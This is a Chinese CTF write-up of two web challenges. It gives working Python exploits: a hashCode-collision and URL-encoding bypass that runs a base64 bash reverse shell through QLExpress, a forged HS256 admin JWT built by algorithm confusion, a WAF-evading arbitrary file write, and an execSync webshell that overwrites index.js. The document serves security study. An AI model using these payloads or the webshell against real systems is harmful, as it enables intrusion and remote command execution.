第一届研究生网络安全大赛 Web部分WriteUp

前言

看到队友周报里给了比赛附件,来复现学习一下

BabyQL

是个java题,给了个jar包,用idea插件反编译看一下源码

java -cp "/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true ~/Downloads/第一届研究生网络安全大赛/BabyQL.jar ~/Downloads/第一届研究生网络安全大赛/

然后jar解压一下

jar xvf ../BabyQL.jar

image-20221124201437299

代码挺简单的,exp这个路由,最后的runner.execute(cmd, (IExpressContext)context, null, true, false)可以执行命令。

主要是两个点,一个是绕过hashCode,一个是绕过正则匹配

绕过hashCode

这里参考HFCTF2022的ezchain,https://goodapple.top/archives/964 这位师傅的做法

一句话概括就是第一个字符+1,第二个字符-31,构造出的hashCode是相同的,利用hVanzhujiarandundunjiechan

image-20221124202317176

还有就是直接碰撞爆破出字符

public static void main(String[] args) {
String key = "guanzhujiarandundunjiechan";
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == key.hashCode()) {
System.out.println(Long.toHexString(i));
}
//爆破出来的
String test = "d7d2d123";
System.out.println(test.hashCode() == key.hashCode()); //true
}

还有就是要注意,这里发包要采用json格式

import requests
import json

url = "http://127.0.0.1:8080/exp"

payload = {
"cmd":"777",
"x":"hVanzhujiarandundunjiechan"
}

header = {"Content-Type": "application/json"}
resp = requests.post(url=url, data=json.dumps(payload), headers=header)

print(resp.text)

绕过正则

我们先尝试print试试

image-20221124204021728

image-20221124204035515

发现这个确实可以执行表达式,并且cmd参数我们可控,但是看官方文档

https://github.com/alibaba/QLExpress

官方文档中有默认的表达式执行的黑名单,题目中过滤了process|runtime|javascript|\\+|char|\\\\|from|\\[|\\]|load

image-20221124202900137

不能够进行拼接绕过,这里我们采用官方wp,利用URL编码绕过

对payload进行url编码

java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}").getInputStream()

再利用java.net.URLDecoder.decode进行解码

具体

"cmd":"import javax.script.ScriptEngineManager;new ScriptEngineManager().getEngineByName(\"nashorn\").eval(java.net.URLDecoder.decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%6a%63%75%4d%43%34%77%4c%6a%45%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\"));",

exp

import requests
import json

url = "http://127.0.0.1:8080/exp"

payload = {
"cmd":"import javax.script.ScriptEngineManager;new ScriptEngineManager().getEngineByName(\"nashorn\").eval(java.net.URLDecoder.decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%6a%63%75%4d%43%34%77%4c%6a%45%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\"));",
"x":"hVanzhujiarandundunjiechan"
}

header = {"Content-Type": "application/json"}
resp = requests.post(url=url, data=json.dumps(payload), headers=header)

print(resp.text)

image-20221124203709248

执行成功

HackThisBox

这题给了docker以及源码

而且这题docker-compose启动之前,先自己随便写个private.pem文件放在config文件里,不然无法启动

整个网站使用了jwt的验证,并且是使用非对称加密RS256进行加密,而在解密的时候使用了对称加密算法HS256

image-20221125002158681

image-20221125002254295

这样有个什么问题呢,会造成密钥混淆攻击

JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。

如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法)呢?

那么,后端代码会使用RS256的公钥作为密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

源码里我们已经获得了公钥,所以可以伪造token

再看这个路由

router.post('/upload', function(req, res, next) {
if(req.files.length !== 0) {
var savePath = '';
if(req.auth.isAdmin === false) {
var dirName = `./public/upload/${req.auth.home}/`
fs.mkdir(dirName, (err)=>{
if(err) {
console.log('error')
} else {
console.log('ok')
}
});
savePath = path.join(dirName, req.files[0].originalname);
} else if(req.auth.isAdmin === true) {
savePath = req.auth.home;
}

fs.readFile(req.files[0].path, function(err, data) {
if(err) {
return res.status(500).send("error");
} else {
// 任意文件写入
fs.writeFileSync(savePath, data);
}
});
return res.status(200).send("file upload successfully");
} else {
return res.status(500).send("error");
}
});

如果我们设置isAdmin=true就可以通过传入的req.auth.home,利用fs.writeFileSync(savePath, data);任意写入文件,我们可以覆盖index.js文件,写入一个后门

而这个writeFileSync和我们之前分析过的readFileSync一样,都可以通过url编码来绕过waf,将我们传入的pathname进行编码就可以绕过这个过滤

app.use(function(req, res, next) {
if([req.body, req.query, req.auth, req.headers].some(function(item) {
console.log(req.auth)
return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item));
})) {
return res.status(403).send('illegal data.');
} else {
next();
};
});

我们先伪造token服务

token.js

var express = require('express');
var fs = require("fs")
var jwt = require("jsonwebtoken")
var path = require('path')


var app = express();
var publicKey = fs.readFileSync('./src/config/public.pem');

app.get('/', function(req, res, next) {
const token = jwt.sign({username: "admin", isAdmin: true, home: {
href: "c",
origin: "c",
protocol: "file:",
hostname: "",
pathname: "/app/%72%6f%75%74%65%73/index.%6a%73"
}}, publicKey, {algorithm: "HS256"});

res.send({token})
})

var server = app.listen(7000, function () {
var host = server.address().address;
var port = server.address().port;

console.log("Address is http://%s:%s", host, port);
})

image-20221125003744662

后门文件shell.js

var express = require('express');
const execSync = require('child_process').execSync;
var router = express.Router();

router.get('/', function(req, res, next) {
var cmd = execSync(req.query.cmd);
res.send(cmd.toString());
});

module.exports = router;

最后的exp

import requests

sess = requests.session()
url = 'http://localhost:8082'

hearder = {"authorization":"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6eyJocmVmIjoiYyIsIm9yaWdpbiI6ImMiLCJwcm90b2NvbCI6ImZpbGU6IiwiaG9zdG5hbWUiOiIiLCJwYXRobmFtZSI6Ii9hcHAvJTcyJTZmJTc1JTc0JTY1JTczL2luZGV4LiU2YSU3MyJ9LCJpYXQiOjE2NjkzMDYzNDZ9.RdEQN3Kt0c_Fz_n9uJP3dTYZHWqdp6GoJ3Yd5YpZjl4"}
file = {"file":("./shell.js",open("./shell.js","rb").read())}

res = sess.post(url=url+"/api/upload",files=file,headers=hearder)
print(res.text)

image-20221125003852616

然后就可以执行命令

image-20221125003918453

第一届研究生网络安全大赛 Web部分WriteUp

https://lhxhl.github.io/2022/11/24/yjs/

作者

秋秋晚

发布于

2022-11-24

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...